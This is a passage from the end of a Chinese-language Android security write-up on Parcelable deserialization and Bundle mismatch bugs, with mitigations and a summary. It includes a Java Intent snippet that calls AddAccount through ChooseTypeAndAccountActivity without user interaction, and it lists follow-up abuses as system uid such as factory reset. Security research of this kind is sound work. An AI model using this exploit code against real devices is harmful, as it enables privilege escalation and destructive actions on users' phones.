        }
    }
    }
  • 使用下面的Intent即可无交互调用AddAccount接口,实现漏洞利用:

    Intent intent = new Intent();
    intent.setComponent(new ComponentName("android", "android.accounts.ChooseTypeAndAccountActivity"));
    ArrayList<Account> allowableAccounts = new ArrayList<>();
    allowableAccounts.add(new Account(MY_ACCOUNT_NAME, MY_ACCOUNT_TYPE));
    intent.putExtra("allowableAccounts", allowableAccounts);
    intent.putExtra("allowableAccountTypes", new String[] { MY_ACCOUNT_TYPE });
    Bundle options = new Bundle();
    options.putBoolean("alivePullStartUp", true);
    intent.putExtra("addAccountOptions", options);
    intent.putExtra("descriptionTextOverride", " ");
    intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY | Intent.FLAG_ACTIVITY_CLEAR_TASK);
    startActivity(intent);

七、后续利用

  • 我们通过Parcelable反序列化漏洞配合Bundle mismatch的利用方式,实现了以Settings(uid=1000)的身份发送任意Intent,后续的利用思路除了直接调用一些特权接口实现拨打紧急号码、恢复出厂设置等影响之外,还可以选择接续上低权限应用的Intent重定向漏洞,从而攻击其他应用,也可以考虑利用URI grant的方式授权FileProvider读写文件,但是这个方法在Android 10中被限制了,Google在AOSP代码中默认限制uid=1000的调用者授权URI给其他应用,对于URI grant的机制后续会考虑写专门的文章进行讲解。

八、缓解措施

  • Google在Android 13中引入了新的缓解措施,引入了Bundle读取key-value的字节数锁定的机制,即使一个key-value发生错位也不会造成后续key-value读取的错误,规避了这一类问题。

九、总结

  • 本文主要介绍了Parcelable反序列化漏洞的成因,并且结合Android框架代码分析了Bundle数据的解析过程,最后给出了一个实际案例的利用编写思路,并讨论了如何无交互实现利用以及后续利用的思路。
  • Clang裁缝店的博客有一篇更加详细的分析文章,可供参考:https://xuanxuanblingbling.github.io/ctf/android/2024/04/13/launchanywhere02/

一条评论

评论已关闭。